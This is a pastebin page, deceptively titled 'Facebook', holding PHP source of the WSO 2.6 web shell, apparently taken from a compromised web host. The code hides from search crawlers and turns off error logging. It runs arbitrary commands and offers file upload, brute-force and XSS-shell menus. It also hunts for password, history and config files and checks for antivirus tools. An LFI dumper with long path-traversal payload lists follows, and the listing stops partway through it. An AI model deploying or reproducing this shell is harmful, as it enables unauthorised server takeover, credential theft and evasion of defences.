Facebook
From test, 2 Weeks ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 124
  1. <?php
  2. session_start();
  3. $password = "";
  4. $passtype = "";
  5. $color = "#df5";
  6. $default_action = 'FilesMan';
  7. $default_use_ajax = true;
  8. $default_charset = 'Windows-1251';
  9. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  10. $userAgents = array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");
  11. if(preg_match('/'.implode('|',$userAgents) .'/i',$_SERVER['HTTP_USER_AGENT'])) {
  12. header('HTTP/1.0 404 Not Found');
  13. exit;
  14. }}
  15. @session_start();
  16. @ini_set('error_log',NULL);
  17. @ini_set('log_errors',0);
  18. @ini_set('max_execution_time',0);
  19. @set_time_limit(0);
  20. @define('WSO_VERSION','2.6');
  21. @setcookie("wsog","orb",time()+3600*24*7);
  22. $dir = md5('/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt' );
  23. if(!empty($password) and $password !== 0) {
  24. if (isset($_POST['pass'])) {
  25. if ($passtype == "MD5") {
  26. $visitorpassword = md5($_POST['pass']);}
  27. elseif ($passtype == "SHA1") {
  28. $visitorpassword = sha1($_POST['pass']);}
  29. else {
  30. $visitorpassword = $_POST['pass'];}
  31. if($visitorpassword == $password){
  32. $_SESSION[$dir] = "OK";}
  33. }
  34. if ( !isset($_SESSION[$dir]) ||($_SESSION[$dir] != "OK") ) {
  35. die("<pre align=center><form method=post>Password: <input type=password name=pass>></form></pre>");}
  36. }
  37. elseif ($password == 0) {
  38. $_SESSION[$dir] = "OK";
  39. }
  40. if(strtolower(substr(PHP_OS,0,3)) == "win")
  41. $os = 'win';
  42. else
  43. $os = 'nix';
  44. $safe_mode = @ini_get('safe_mode');
  45. if(!$safe_mode)
  46. error_reporting(0);
  47. $disable_functions = @ini_get('disable_functions');
  48. $home_cwd = @getcwd();
  49. if(isset($_POST['c']))
  50. @chdir($_POST['c']);
  51. $cwd = @getcwd();
  52. if($os == 'win') {
  53. $home_cwd = str_replace("\","/",$home_cwd);
  54. $cwd = str_replace("\","/",$cwd);
  55. }
  56. if( $cwd[strlen($cwd)-1] != '/')
  57. $cwd .= '/';
  58. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax']))
  59. $_SESSION[md5($_SERVER['HTTP_HOST']) .'ajax'] = (bool)$GLOBALS['default_use_ajax'];
  60. if($os == 'win')
  61. $aliases = array(
  62. "List Directory"=>"dir",
  63. "Find index.php in current dir"=>"dir /s /w /b index.php",
  64. "Find *config*.php in current dir"=>"dir /s /w /b *config*.php",
  65. "Show active connections"=>"netstat -an",
  66. "Show running services"=>"net start",
  67. "User accounts"=>"net user",
  68. "Show computers"=>"net view",
  69. "ARP Table"=>"arp -a",
  70. "IP Configuration"=>"ipconfig /all"
  71. );
  72. else
  73. $aliases = array(
  74. "List dir"=>"ls -lha",
  75. "list file attributes on a Linux second extended file system"=>"lsattr -va",
  76. "show opened ports"=>"netstat -an | grep -i listen",
  77. "process status"=>"ps aux",
  78. "Find"=>"",
  79. "find all suid files"=>"find / -type f -perm -04000 -ls",
  80. "find suid files in current dir"=>"find . -type f -perm -04000 -ls",
  81. "find all sgid files"=>"find / -type f -perm -02000 -ls",
  82. "find sgid files in current dir"=>"find . -type f -perm -02000 -ls",
  83. "find config.inc.php files"=>"find / -type f -name config.inc.php",
  84. "find config* files"=>"find / -type f -name "config*"",
  85. "find config* files in current dir"=>"find . -type f -name "config*"",
  86. "find all writable folders and files"=>"find / -perm -2 -ls",
  87. "find all writable folders and files in current dir"=>"find . -perm -2 -ls",
  88. "find all service.pwd files"=>"find / -type f -name service.pwd",
  89. "find service.pwd files in current dir"=>"find . -type f -name service.pwd",
  90. "find all .htpasswd files"=>"find / -type f -name .htpasswd",
  91. "find .htpasswd files in current dir"=>"find . -type f -name .htpasswd",
  92. "find all .bash_history files"=>"find / -type f -name .bash_history",
  93. "find .bash_history files in current dir"=>"find . -type f -name .bash_history",
  94. "find all .fetchmailrc files"=>"find / -type f -name .fetchmailrc",
  95. "find .fetchmailrc files in current dir"=>"find . -type f -name .fetchmailrc",
  96. "Locate"=>"",
  97. "locate httpd.conf files"=>"locate httpd.conf",
  98. "locate vhosts.conf files"=>"locate vhosts.conf",
  99. "locate proftpd.conf files"=>"locate proftpd.conf",
  100. "locate psybnc.conf files"=>"locate psybnc.conf",
  101. "locate my.conf files"=>"locate my.conf",
  102. "locate admin.php files"=>"locate admin.php",
  103. "locate cfg.php files"=>"locate cfg.php",
  104. "locate conf.php files"=>"locate conf.php",
  105. "locate config.dat files"=>"locate config.dat",
  106. "locate config.php files"=>"locate config.php",
  107. "locate config.inc files"=>"locate config.inc",
  108. "locate config.inc.php"=>"locate config.inc.php",
  109. "locate config.default.php files"=>"locate config.default.php",
  110. "locate config* files "=>"locate config",
  111. "locate .conf files"=>"locate '.conf'",
  112. "locate .pwd files"=>"locate '.pwd'",
  113. "locate .sql files"=>"locate '.sql'",
  114. "locate .htpasswd files"=>"locate '.htpasswd'",
  115. "locate .bash_history files"=>"locate '.bash_history'",
  116. "locate .mysql_history files"=>"locate '.mysql_history'",
  117. "locate .fetchmailrc files"=>"locate '.fetchmailrc'",
  118. "locate backup files"=>"locate backup",
  119. "locate dump files"=>"locate dump",
  120. "locate priv files"=>"locate priv"
  121. );
  122. function wsoHeader() {
  123. if(empty($_POST['charset']))
  124. $_POST['charset'] = $GLOBALS['default_charset'];
  125. global $color;
  126. echo "<html><head>
  127. <meta http-equiv='Content-Type' c charset=".$_POST['charset'] ."'><title>".$_SERVER['HTTP_HOST'] ." - WSO ".WSO_VERSION ."</title>
  128. <style>
  129. body{background-color:#444;color:#e1e1e1;}
  130. body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
  131. table.info{ color:#fff;background-color:#222; }
  132. span,h1,a{ color: $color !important; }
  133. span{ font-weight: bolder; }
  134. h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
  135. div.content{ padding: 5px;margin-left:5px;background-color:#333; }
  136. a{ text-decoration:none; }
  137. a:hover{ text-decoration:underline; }
  138. #pre{font.family:Courier,Monospace;}
  139. .ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
  140. .bigarea{ width:100%;height:300px; }
  141. input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
  142. form{ margin:0px; }
  143. #toolsTbl{ text-align:center; }
  144. .toolsInp{ width: 300px }
  145. .main th{text-align:left;background-color:#5e5e5e;}
  146. .main tr:hover{background-color:#5e5e5e}
  147. .l1{background-color:#444}
  148. .l2{background-color:#333}
  149. pre{font-family:Courier,Monospace;}
  150. </style>
  151. [removed]
  152.     function myFunction(){document.getElementById('textbase').value = btoa(document.getElementById('textbase').value); }
  153.    // document.getElementById('mkfile').value=btoa(document.getElementById('mkfile').value);
  154.     var c_ = '".htmlspecialchars($GLOBALS['cwd']) ."';
  155.     var a_ = '".htmlspecialchars(@$_POST['a']) ."'
  156.     var charset_ = '".htmlspecialchars(@$_POST['charset']) ."';
  157.     var p1_ = '".((strpos(@$_POST['p1'],"n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
  158.     var p2_ = '".((strpos(@$_POST['p2'],"n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
  159.     var p3_ = '".((strpos(@$_POST['p3'],"n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
  160.     var p4_ = '".((strpos(@$_POST['p4'],"md")===false)?'':htmlspecialchars($_POST['p4']('/home/k3030889/public_html/media/temp/30b2c088dc63ae3e97ca260cb16a6c68.txt'),ENT_QUOTES)) ."';
  161.  
  162.     var d = document;
  163.  function set(a,c,p1,p2,p3,charset) {
  164.   if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
  165.   if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
  166.   if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=btoa(p1_);
  167.   if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
  168.   if(p3!=null)d.mf.p3.value=(p3);else d.mf.p3.value=p3_;
  169.   if(charset!=null)d.mf.st.value=charset;else d.mf.st.value=charset_;
  170.  }
  171.  function g(a,c,p1,p2,p3,charset) {
  172.    try {
  173.     window.atob(p1);
  174.     //alert('coded');
  175. } catch(e) {
  176.  p1 = btoa(p1);
  177. //alert('nop');
  178. }
  179.  
  180. set(a,c,p1,p2,p3,charset);
  181.   d.mf.submit();
  182.  }
  183.  function a(a,c,p1,p2,p3,charset) {
  184.   set(a,c,p1,p2,p3,charset);
  185.   var params = 'ajax=true';
  186.   for(i=0;i[removed]
  187. <head><body><div >
  188. <form method=post name=mf >
  189. <input type=hidden name=a>
  190. <input type=hidden name=c>
  191. <input type=hidden name=p1>
  192. <input type=hidden name=p2>
  193.  
  194. <input type=hidden name=p3>
  195. <input type=hidden name=st>
  196. </form>";
  197. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  198. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  199. $totalSpace = $totalSpace?$totalSpace:1;
  200. $release = @php_uname('r');
  201. $kernel = @php_uname('s');
  202. if(!function_exists('posix_getegid')) {
  203. $user = @get_current_user();
  204. $uid = @getmyuid();
  205. $gid = @getmygid();
  206. $group = "?";
  207. }else {
  208. $uid = @posix_getpwuid(posix_geteuid());
  209. $gid = @posix_getgrgid(posix_getegid());
  210. $user = $uid['name'];
  211. $uid = $uid['uid'];
  212. $group = $gid['name'];
  213. $gid = $gid['gid'];
  214. }
  215. $cwd_links = '';
  216. $path = explode("/",$GLOBALS['cwd']);
  217. $n=count($path);
  218. for($i=0;$i<$n-1;$i++) {
  219. $cwd_links .= ">".$path[$i]."/</a>";
  220. }
  221. $charsets = array('UTF-8','Windows-1251','KOI8-R','KOI8-U','cp866');
  222. $opt_charsets = '';
  223. foreach($charsets as $item)
  224. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  225. $m = array('Sec Info'=>'SecInfo','Files'=>'FilesMan','Exec'=>'Console','Sql'=>'Sql','PHP Tools'=>'phptools','LFI'=>'lfiscan','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','XSS Shell'=>'XSSShell','Bruteforce'=>'Bruteforce','Network'=>'Network');
  226. if(!empty($GLOBALS['auth_pass']))
  227. $m['Logout'] = 'Logout';
  228. $m['Self remove'] = 'SelfRemove';
  229. $menu = '';
  230. foreach($m as $k =>$v)
  231. $menu .= '<th width="'.(int)(100/count($m)).'%">[<a href="#" >'.$k.'</a>]</th>';
  232. $drives = "";
  233. if($GLOBALS['os'] == 'win') {
  234. foreach(range('c','z') as $drive)
  235. if(is_dir($drive.':\'))
  236. $drives .= '<a href="#" >[ '.$drive.' ]</a> ';
  237. }
  238. echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'') .'</span></td>'
  239. .'<td><nobr>'.substr(@php_uname(),0,120) .' </nobr><br>'.$uid .' ( '.$user .' ) <span>Group:</span> '.$gid .' ( '.$group .' )<br>'.@phpversion() .' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>')
  240. .' <a  >[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s') .'<br>'.wsoViewSize($totalSpace) .' <span>Free:</span> '.wsoViewSize($freeSpace) .' ('.(int) ($freeSpace/$totalSpace*100) .'%)<br>'.$cwd_links .' '.wsoPermsColor($GLOBALS['cwd']) .' <a   .'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives .'</td>'
  241. .'<td width=1 align=right><nobr><select ><optgroup label="Page charset">'.$opt_charsets .'</optgroup></select><br><span>Server IP:</span><br>'.@$_SERVER["SERVER_ADDR"] .'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'] .'</nobr></td></tr></table>'
  242. .'<table  solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu .'</tr></table><div >';
  243. }
  244. function wsoFooter() {
  245. $is_writable = is_writable($GLOBALS['cwd'])?" <font color='#25ff00'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
  246. echo "
  247.  
  248. </div>
  249. <table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%   solid #333;border-bottom:2px solid #333;'>
  250.  <tr>
  251.   <td><form  false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='".htmlspecialchars($GLOBALS['cwd']) ."'>></form></td>
  252.   <td><form  false;"><span>Read file:</span><br><input class='toolsInp' type=text name=f>></form></td>
  253.  </tr><tr>
  254.   <td><form  false;"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d>></form></td>
  255.   <td><form id='mkfile'  false;"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f>></form></td>
  256.  
  257.  </tr><tr>
  258.   <td><form  false;"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''>></form></td>
  259.   <td><form method='post' ENCTYPE='multipart/form-data'>
  260.   <input type=hidden name=a value='FilesMAn'>
  261.   <input type=hidden name=c value='".$GLOBALS['cwd'] ."'>
  262.   <input type=hidden name=p1 value='uploadFile'>
  263.   <input type=hidden name=charset value='".(isset($_POST['charset'])?$_POST['charset']:'') ."'>
  264.   <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f>></form><br  ></td></tr></table></div></body></html>";
  265. }
  266. if (!function_exists("posix_getpwuid") &&(strpos($GLOBALS['disable_functions'],'posix_getpwuid')===false)) {
  267. function posix_getpwuid($p) {return false;}}
  268. if (!function_exists("posix_getgrgid") &&(strpos($GLOBALS['disable_functions'],'posix_getgrgid')===false)) {
  269. function posix_getgrgid($p) {return false;}}
  270. function wsoEx($in) {
  271. $out = '';
  272. if (function_exists('exec')) {
  273. @exec($in,$out);
  274. $out = @join("n",$out);
  275. }elseif (function_exists('passthru')) {
  276. ob_start();
  277. @passthru($in);
  278. $out = ob_get_clean();
  279. }elseif (function_exists('system')) {
  280. ob_start();
  281. @system($in);
  282. $out = ob_get_clean();
  283. }elseif (function_exists('shell_exec')) {
  284. $out = shell_exec($in);
  285. }elseif (is_resource($f = @popen($in,"r"))) {
  286. $out = "";
  287. while(!@feof($f))
  288. $out .= fread($f,1024);
  289. pclose($f);
  290. }
  291. return $out;
  292. }
  293. function wsoViewSize($s) {
  294. if($s >= 1073741824)
  295. return sprintf('%1.2f',$s / 1073741824 ).' GB';
  296. elseif($s >= 1048576)
  297. return sprintf('%1.2f',$s / 1048576 ) .' MB';
  298. elseif($s >= 1024)
  299. return sprintf('%1.2f',$s / 1024 ) .' KB';
  300. else
  301. return $s .' B';
  302. }
  303. function wsoPerms($p) {
  304. if (($p &0xC000;) == 0xC000)$i = 's';
  305. elseif (($p &0xA000;) == 0xA000)$i = 'l';
  306. elseif (($p &0x8000;) == 0x8000)$i = '-';
  307. elseif (($p &0x6000;) == 0x6000)$i = 'b';
  308. elseif (($p &0x4000;) == 0x4000)$i = 'd';
  309. elseif (($p &0x2000;) == 0x2000)$i = 'c';
  310. elseif (($p &0x1000;) == 0x1000)$i = 'p';
  311. else $i = 'u';
  312. $i .= (($p &0x0100;) ?'r': '-');
  313. $i .= (($p &0x0080;) ?'w': '-');
  314. $i .= (($p &0x0040;) ?(($p &0x0800;) ?'s': 'x') : (($p &0x0800;) ?'S': '-'));
  315. $i .= (($p &0x0020;) ?'r': '-');
  316. $i .= (($p &0x0010;) ?'w': '-');
  317. $i .= (($p &0x0008;) ?(($p &0x0400;) ?'s': 'x') : (($p &0x0400;) ?'S': '-'));
  318. $i .= (($p &0x0004;) ?'r': '-');
  319. $i .= (($p &0x0002;) ?'w': '-');
  320. $i .= (($p &0x0001;) ?(($p &0x0200;) ?'t': 'x') : (($p &0x0200;) ?'T': '-'));
  321. return $i;
  322. }
  323. function wsoPermsColor($f) {
  324. if (!@is_readable($f))
  325. return '<font color=#FF0000>'.wsoPerms(@fileperms($f)) .'</font>';
  326. elseif (!@is_writable($f))
  327. return '<font color=white>'.wsoPerms(@fileperms($f)) .'</font>';
  328. else
  329. return '<font color=#00BB00>'.wsoPerms(@fileperms($f)) .'</font>';
  330. }
  331. if(!function_exists("scandir")) {
  332. function scandir($dir) {
  333. $dh  = opendir($dir);
  334. while (false !== ($filename = readdir($dh)))
  335. $files[] = $filename;
  336. return $files;
  337. }
  338. }
  339. function wsoWhich($p) {
  340. $path = wsoEx('which '.$p);
  341. if(!empty($path))
  342. return $path;
  343. return false;
  344. }
  345. function actionSecInfo() {
  346. wsoHeader();
  347. echo '<h1>Server security information</h1><div class=content>';
  348. function wsoSecParam($n,$v) {
  349. $v = trim($v);
  350. if($v) {
  351. echo '<span>'.$n .': </span>';
  352. if(strpos($v,"n") === false)
  353. echo $v .'<br>';
  354. else
  355. echo '<pre class=ml1>'.$v .'</pre>';
  356. }
  357. }
  358. wsoSecParam('Server software',@getenv('SERVER_SOFTWARE'));
  359. if(function_exists('apache_get_modules'))
  360. wsoSecParam('Loaded Apache modules',implode(', ',apache_get_modules()));
  361. wsoSecParam('Disabled PHP Functions',$GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
  362. wsoSecParam('Open base dir',@ini_get('open_basedir'));
  363. wsoSecParam('Safe mode exec dir',@ini_get('safe_mode_exec_dir'));
  364. wsoSecParam('Safe mode include dir',@ini_get('safe_mode_include_dir'));
  365. wsoSecParam('cURL support',function_exists('curl_version')?'enabled':'no');
  366. $temp=array();
  367. if(function_exists('mysql_get_client_info'))
  368. $temp[] = "MySql (".mysql_get_client_info().")";
  369. if(function_exists('mssql_connect'))
  370. $temp[] = "MSSQL";
  371. if(function_exists('pg_connect'))
  372. $temp[] = "PostgreSQL";
  373. if(function_exists('oci_connect'))
  374. $temp[] = "Oracle";
  375. wsoSecParam('Supported databases',implode(', ',$temp));
  376. echo '<br>';
  377. if($GLOBALS['os'] == 'nix') {
  378. wsoSecParam('Readable /etc/passwd',@is_readable('/etc/passwd')?"yes <a href='#'  \"/etc/\", \"passwd\")'>[view]</a>":'no');
  379. wsoSecParam('Readable /etc/shadow',@is_readable('/etc/shadow')?"yes <a href='#'  \"etc\", \"shadow\")'>[view]</a>":'no');
  380. wsoSecParam('OS version',@file_get_contents('/proc/version'));
  381. wsoSecParam('Distr name',@file_get_contents('/etc/issue.net'));
  382. if(!$GLOBALS['safe_mode']) {
  383. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  384. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  385. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  386. echo '<br>';
  387. $temp=array();
  388. foreach ($userful as $item)
  389. if(wsoWhich($item))
  390. $temp[] = $item;
  391. wsoSecParam('Userful',implode(', ',$temp));
  392. $temp=array();
  393. foreach ($danger as $item)
  394. if(wsoWhich($item))
  395. $temp[] = $item;
  396. wsoSecParam('Danger',implode(', ',$temp));
  397. $temp=array();
  398. foreach ($downloaders as $item)
  399. if(wsoWhich($item))
  400. $temp[] = $item;
  401. wsoSecParam('Downloaders',implode(', ',$temp));
  402. echo '<br/>';
  403. wsoSecParam('HDD space',wsoEx('df -h'));
  404. wsoSecParam('Hosts',@file_get_contents('/etc/hosts'));
  405. }
  406. }else {
  407. wsoSecParam('OS Version',wsoEx('ver'));
  408. wsoSecParam('Account Settings',wsoEx('net accounts'));
  409. wsoSecParam('User Accounts',wsoEx('net user'));
  410. }
  411. echo '</div>';
  412. wsoFooter();
  413. }
  414. function actionlfiscan() {
  415. wsoHeader();
  416. print '
  417.    <h3>Led-Zeppelin's LFI File dumper</h3>
  418.  
  419.    <form method="post" acti><input type="hidden" name="a" value="lfiscan">
  420.       LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
  421.          <option value="1">
  422.             Access Log
  423.          </option>
  424.  
  425.          <option value="2">
  426.             httpd.conf
  427.          </option>
  428.  
  429.          <option value="3">
  430.             Error Log
  431.          </option>
  432.          <option value="4">
  433.             php.ini
  434.          </option>
  435.          <option value="5">
  436.             MySQL
  437.          </option>
  438.          <option value="6">
  439.             FTP
  440.          </option>
  441.          <option value="7">
  442.             Environ
  443.          </option>
  444.       </select> Null: <select name="null">
  445.          <option value="">
  446.             Yes
  447.          </option>
  448.  
  449.          <option value="">
  450.             No
  451.          </option>
  452.       </select> User-Agent: <input type="text" size="20" name="custom_header" value="">
  453.    </form>';
  454. error_reporting(0);
  455. if($_POST['lfiurl']) {
  456. print "<pre>";
  457. $cheader = $_POST['custom_header'];
  458. $target = $_POST['lfiurl'];
  459. $type = $_POST['scantype'];
  460. $byte1 = $_POST['null'];
  461. $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
  462. $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
  463. $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
  464. $lfiaccess = array(
  465. 1 =>"../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
  466. 2 =>"../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
  467. 3 =>"../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
  468. 4 =>"../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
  469. 5 =>"../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
  470. 6 =>"../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
  471. 7 =>"../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
  472. 8 =>"../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
  473. 9 =>"../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
  474. 10 =>"../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
  475. 11 =>"../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
  476. 12 =>"../../../../../../../../../../../../../../var/log/access_log".$byte1."",
  477. 13 =>"../../../../../../../../../../../../../../var/log/access.log".$byte1."",
  478. 14 =>"../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
  479. 15 =>"../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
  480. 16 =>"../../../../../../../../../../../../../../logs/access.log".$byte1."",
  481. 17 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
  482. 18 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
  483. 19 =>"../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
  484. 20 =>"../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
  485. 21 =>"../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
  486. 22 =>"../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
  487. 23 =>"../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
  488. $lfierror = array(
  489. 1 =>"../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
  490. 2 =>"../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
  491. 3 =>"../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
  492. 4 =>"../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
  493. 5 =>"../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
  494. 6 =>"../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
  495. 7 =>"../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
  496. 8 =>"../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
  497. 9 =>"../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
  498. 10 =>"../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
  499. 11 =>"../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
  500. 12 =>"../../../../../../../../../../../../../../var/log/error_log".$byte1."",
  501. 13 =>"../../../../../../../../../../../../../../var/log/error.log".$byte1."",
  502. 14 =>"../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
  503. 15 =>"../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
  504. 16 =>"../../../../../../../../../../../../../../logs/error.log".$byte1."",
  505. 17 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
  506. 18 =>"../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
  507. 19 =>"../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
  508. 20 =>"../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
  509. 21 =>"../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
  510. 22 =>"../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
  511. 23 =>"../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
  512. $lficonfig = array(
  513. 1 =>"../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
  514. 2 =>"../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
  515. 3 =>"../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
  516. 4 =>"../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
  517. 5 =>"../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
  518. 6 =>"../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
  519. 7 =>"../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
  520. 8 =>"../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
  521. 9 =>"../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
  522. 10 =>"../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
  523. 11 =>"../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
  524. 12 =>"../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
  525. 13 =>"../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
  526. 14 =>"../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
  527. 15 =>"../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
  528. 16 =>"../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
  529. 17 =>"../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
  530. 18 =>"../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
  531. 19 =>"../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
  532. 20 =>"../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
  533. 21 =>"../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
  534. 22 =>"../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
  535. 23 =>"../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
  536. 24 =>"../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
  537. 25 =>"../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
  538. 26 =>"../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
  539. 27 =>"../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
  540. 28 =>"../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
  541. 29 =>"../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
  542. 30 =>"../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
  543. 31 =>"../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
  544. 32 =>"../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
  545. 33 =>"../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
  546. 34 =>"../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
  547. 35 =>"../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
  548. $lfiphpini = array(
  549. 1 =>"../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
  550. 2 =>"../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
  551. 3 =>"../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
  552. 4 =>"../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
  553. 5 =>"../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
  554. 6 =>"../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
  555. 7 =>"../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
  556. 8 =>"../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
  557. 9 =>"../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
  558. 10 =>"../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
